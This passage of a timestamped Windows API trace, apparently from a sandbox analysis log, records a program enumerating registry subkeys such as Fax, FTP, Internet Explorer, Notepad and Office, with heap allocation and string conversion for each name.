0x0 [0261.281] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0261.281] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x439258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0261.282] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.282] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.282] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.282] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.282] RegEnumKeyW (in: hKey=0x130, dwIndex=0xb, lpName=0x433058, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0261.282] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0261.282] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x439180, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0261.282] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.282] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.282] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.282] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.282] RegEnumKeyW (in: hKey=0x130, dwIndex=0xc, lpName=0x433058, cchName=0x104 | out: lpName="FTP") returned 0x0 [0261.282] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0261.282] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x439258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp", lpUsedDefaultChar=0x0) returned 3 [0261.282] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.282] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.282] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.282] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.282] RegEnumKeyW (in: hKey=0x130, dwIndex=0xd, lpName=0x433058, cchName=0x104 | out: lpName="GDIPlus") returned 0x0 [0261.282] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.282] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x439180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gdiplus", lpUsedDefaultChar=0x0) returned 7 [0261.283] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.283] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.283] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.283] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.283] RegEnumKeyW (in: hKey=0x130, dwIndex=0xe, lpName=0x433058, cchName=0x104 | out: lpName="IAM") returned 0x0 [0261.283] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0261.283] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x439258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iam", lpUsedDefaultChar=0x0) returned 3 [0261.283] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.283] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.283] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.283] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.283] RegEnumKeyW (in: hKey=0x130, dwIndex=0xf, lpName=0x433058, cchName=0x104 | out: lpName="IME") returned 0x0 [0261.283] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0261.283] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x439180, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0261.283] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.283] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.283] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.283] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.283] RegEnumKeyW (in: hKey=0x130, dwIndex=0x10, lpName=0x433058, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0261.283] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0261.283] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x439258, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0261.283] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.284] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.284] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.284] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.284] RegEnumKeyW (in: hKey=0x130, dwIndex=0x11, lpName=0x433058, cchName=0x104 | out: lpName="IMEMIP") returned 0x0 [0261.284] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0261.284] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x439180, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imemip", lpUsedDefaultChar=0x0) returned 6 [0261.284] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.284] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.284] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.284] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.284] RegEnumKeyW (in: hKey=0x130, dwIndex=0x12, lpName=0x433058, cchName=0x104 | out: lpName="Internet Connection Wizard") returned 0x0 [0261.284] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0261.284] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x439258, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet connection wizard", lpUsedDefaultChar=0x0) returned 26 [0261.284] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.284] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.284] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.284] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.284] RegEnumKeyW (in: hKey=0x130, dwIndex=0x13, lpName=0x433058, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0261.284] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0261.284] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x439180, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0261.285] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.285] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.285] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.285] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.285] RegEnumKeyW (in: hKey=0x130, dwIndex=0x14, lpName=0x433058, cchName=0x104 | out: lpName="Internet Mail and News") returned 0x0 [0261.285] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0261.285] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x439258, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet mail and news", lpUsedDefaultChar=0x0) returned 22 [0261.285] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.285] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.285] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.285] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.285] RegEnumKeyW (in: hKey=0x130, dwIndex=0x15, lpName=0x433058, cchName=0x104 | out: lpName="Java VM") returned 0x0 [0261.286] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.286] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x439180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java vm", lpUsedDefaultChar=0x0) returned 7 [0261.286] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.286] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.286] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.286] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.286] RegEnumKeyW (in: hKey=0x130, dwIndex=0x16, lpName=0x433058, cchName=0x104 | out: lpName="Keyboard") returned 0x0 [0261.286] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.286] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x439258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard", lpUsedDefaultChar=0x0) returned 8 [0261.286] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.286] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.286] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.286] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.286] RegEnumKeyW (in: hKey=0x130, dwIndex=0x17, lpName=0x433058, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0261.286] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.286] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x439180, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0261.286] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.286] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.286] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.286] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.286] RegEnumKeyW (in: hKey=0x130, dwIndex=0x18, lpName=0x433058, cchName=0x104 | out: lpName="Microsoft Management Console") returned 0x0 [0261.287] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0261.287] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x439258, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft management console", lpUsedDefaultChar=0x0) returned 28 [0261.287] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.287] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.287] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.287] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.287] RegEnumKeyW (in: hKey=0x130, dwIndex=0x19, lpName=0x433058, cchName=0x104 | out: lpName="MS Design Tools") returned 0x0 [0261.287] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0261.287] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x439180, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms design tools", lpUsedDefaultChar=0x0) returned 15 [0261.287] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.287] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.287] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.287] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.287] RegEnumKeyW (in: hKey=0x130, dwIndex=0x1a, lpName=0x433058, cchName=0x104 | out: lpName="MSDAIPP") returned 0x0 [0261.287] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.287] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x439258, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdaipp", lpUsedDefaultChar=0x0) returned 7 [0261.287] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.287] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.287] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.287] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.287] RegEnumKeyW (in: hKey=0x130, dwIndex=0x1b, lpName=0x433058, cchName=0x104 | out: lpName="MSF") returned 0x0 [0261.288] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0261.288] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x439180, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0261.288] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.288] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.288] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.288] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.288] RegEnumKeyW (in: hKey=0x130, dwIndex=0x1c, lpName=0x433058, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0261.288] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.288] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x439258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0261.288] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.288] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.288] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.288] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.288] RegEnumKeyW (in: hKey=0x130, dwIndex=0x1d, lpName=0x433058, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0261.288] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.288] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x439180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0261.288] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.288] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.288] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.288] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.288] RegEnumKeyW (in: hKey=0x130, dwIndex=0x1e, lpName=0x433058, cchName=0x104 | out: lpName="Office") returned 0x0 [0261.289] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0261.289] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x439258, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0261.289] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.289] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.289] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.289] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.289] RegEnumKeyW (in: hKey=0x130, 